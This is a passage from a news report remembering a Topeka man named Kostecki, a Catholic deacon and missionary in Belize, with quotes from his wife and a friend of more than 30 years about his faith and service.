"He put all his trust in the Lord and was there to serve people," his wife Netti Kostecki told AP. "He knew what the Lord was calling him to do, and he was doing it."
John Henderson, who traveled to Belize last July for Kostecki's ordination as a deacon, knew Kostecki for more than 30 years and said his missionary work was a lifelong passion.
"While he was there, he really fell in love with the church and the people. From that time on, he always had the idea that he would go back there some day," Henderson told WIBW-TV Topeka.
Henderson and his wife attended church with the Kostecki family at St. Matthew's Catholic Church in Topeka. On Mar. 11, the church put news of Kostecki's death on its Web site.